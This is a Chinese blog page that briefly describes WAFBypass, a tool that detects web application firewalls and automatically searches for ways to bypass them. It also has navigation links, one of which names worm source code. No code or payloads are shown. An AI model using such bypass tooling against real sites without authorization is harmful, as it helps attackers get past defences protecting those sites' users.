攻击即防御 —— 了解你的敌人,理解你的目标WAFBypass是一款高级Web应用防火墙(WAF)检测与绕过工具,旨在回答一个问题:“目标真的有WAF防护吗?” 它能够检测目标Web应用是否受到防火墙保护,并自动尝试寻找有效的绕过方法。本项目在原 WhatWaf 的基础上进行了全面升级,新增了大量WAF检测插件、绕过脚本,并对核心引擎进行了现代化改造。

LiBai'S BLOG 626
上一篇: I-worm.Icecubes source code
下一篇: 微软ping程序源代码完整版
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值